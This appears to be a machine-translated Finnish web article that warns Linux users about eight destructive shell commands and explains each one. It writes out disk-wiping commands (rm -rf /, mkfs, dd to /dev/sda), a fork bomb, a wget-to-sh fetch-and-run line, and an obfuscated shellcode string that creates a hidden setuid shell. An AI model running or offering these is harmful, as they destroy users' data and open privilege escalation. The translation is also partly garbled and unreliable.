8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa

Sisällysluettelo:

8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa
8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa

Video: 8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa

Video: 8 tappavia komentoja, joita sinun ei pitäisi koskaan käyttää Linuxissa
Video: Digitietoisku - Miten käytän sähköpostia? - YouTube 2024, Huhtikuu
Anonim
Linuxin päätelaitteet ovat tehokkaita, ja Linux ei pyydä vahvistusta, jos suoritat komennon, joka rikkoo järjestelmääsi. Ei ole harvinaista, että verkkokaupat suosittelevat uusia Linux-käyttäjiä käyttämään näitä komentoja vitseinä.
Linuxin päätelaitteet ovat tehokkaita, ja Linux ei pyydä vahvistusta, jos suoritat komennon, joka rikkoo järjestelmääsi. Ei ole harvinaista, että verkkokaupat suosittelevat uusia Linux-käyttäjiä käyttämään näitä komentoja vitseinä.

Komentokäskyjen oppiminen voi auttaa sinua suojelemaan peikkoja ja lisää samalla ymmärrystä Linuxin toimivuudesta. Tämä ei ole tyhjentävä opas, ja komentoja voidaan sekoittaa eri tavoin.

Huomaa, että monet näistä komennoista ovat vaarallisia vain, jos ne ovat etusijalla sudo Ubuntu - he eivät toimi toisin. Muissa Linux-jakeluissa useimmat komennot on suoritettava juuriina.

rm -rf / - Poistaa kaiken!

Käsky rm-rf / poistaa kaikki mahdolliset, mukaan lukien kiintolevyllä olevat tiedostot ja tiedostoja liitetyissä irrotettavissa medialaitteissa. Tämä komento on ymmärrettävämpi, jos se on hajonnut:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux on tyytyväinen tähän komentoon ja poistaa kaiken pyytämättä sinua, joten ole varovainen, kun käytät sitä! Rm-komentoa voidaan käyttää myös muissa vaarallisissa tavoissa - rm-rf ~ poistaisi kaikki kotikansion tiedostot samalla rm-rf. * poistaa kaikki kokoonpanotiedostot.

Oppitunti: Varokaa rm-rf.

Naamioitu rm-rf /

Tässä on toinen koodinpätkä, joka on kaikkialla verkossa:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Tämä on rm-rf / tämän komennon suorittaminen pyyhkiisi tiedostot aivan kuin olisit suorittanut rm-rf /.

Oppitunti: Älä käytä outoja näköisiä, ilmeisesti naamioituja komentoja, joita et ymmärrä.

: () {: |: &};: - Fork Bomb

Seuraava rivi on yksinkertainen, mutta vaarallinen bash-funktio:

:(){:|: &};:

Tämä lyhyt linja määrittää kuoriominaisuuden, joka luo itselleen uusia kopioita. Prosessi toistuu jatkuvasti, ja sen kopiot jatkuvasti kopioivat itsensä, ottavat nopeasti kaiken suorittimen ajan ja muistin. Tämä voi aiheuttaa tietokoneesi jäädyttämisen. Se on periaatteessa palvelunestohyökkäys.

Oppitunti: Bash-toiminnot ovat voimakkaita, jopa hyvin lyhyitä.

Image
Image

mkfs.ext4 / dev / sda1 - Muodostaa kiintolevyn

mkfs.ext4 / dev / sda1komento on helppo ymmärtää:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Yhdessä tämä komento voi vastata käynnissä olevaa muotoa c: Windowsissa - se pyyhkii ensimmäisessä osioistasi olevat tiedostot ja korvaa ne uudella tiedostojärjestelmällä.

Tämä käsky voi tulla myös muuhun muotoon - mkfs.ext3 / dev / sdb2 muotoilee toisen osion toisen kiintolevyn kanssa ext3-tiedostojärjestelmällä.

Oppitunti: Varokaa käynnissä olevia komentoja suoraan / dev / sd: ssä alkavilla kiintolevylaitteilla.

komento> / dev / sda - Kirjoittaa suoraan kiintolevylle

komento> / dev / sda linja toimii samalla tavalla - se suorittaa komennon ja lähettää komennon tuotoksen suoraan ensimmäiselle kiintolevylle, kirjoittamalla tiedot suoraan kiintolevyasemaan ja vahingoittamalla tiedostojärjestelmääsi.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Oppitunti: Kuten yllä, varokaa käynnissä olevia komentoja, jotka sisältävät kiintolevylaitteita, jotka alkavat / dev / sd: llä.

dd if = / dev / satunnaisesti = / dev / sda - Kirjoittaa junk on kiintolevylle

dd if = / dev / satunnaisesti = / dev / sda linja poistaa myös tiedot yhdestä kiintolevystä.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Oppitunti: dd kopioi tietoja paikasta toiseen, mikä voi olla vaarallista, jos kopioit suoraan laitteeseen.

Image
Image

mv ~ / dev / null - Siirtää kotihakemistasi mustaan reikään

/ dev / null on toinen erityinen sijainti - siirrä jotain kohteeseen / dev / null on sama asia kuin tuhota se. Ajattele / dev / null musta aukko. Olennaisesti, mv ~ / dev / null lähettää kaikki henkilökohtaiset tiedostosi mustaan reikään.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Oppitunti: ~ -Merkki edustaa kotikansioasi ja siirtää asioita / dev / null: lle tuhoaa ne.

wget https://esimerkki.fi/jotain -O - | sh - Lataukset ja komentosarjan suorittaminen

Edellä oleva linja lataa komentosarjan verkosta ja lähettää sen sh: lle, joka suorittaa komentosarjan sisällön. Tämä voi olla vaarallista, jos et ole varma, mikä käsikirjoitus on tai jos et luota sen lähteeseen - älä suorita luottamuksellisia komentosarjoja.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Oppitunti: Älä lataa ja suorita epäluotettavia komentosarjoja verkosta, vaikka komennolla.

Tunnetko muut vaaralliset komennot, joita uusien (ja kokeneiden) Linux-käyttäjien ei pitäisi käyttää? Jätä kommentti ja jakaa ne!

Suositeltava: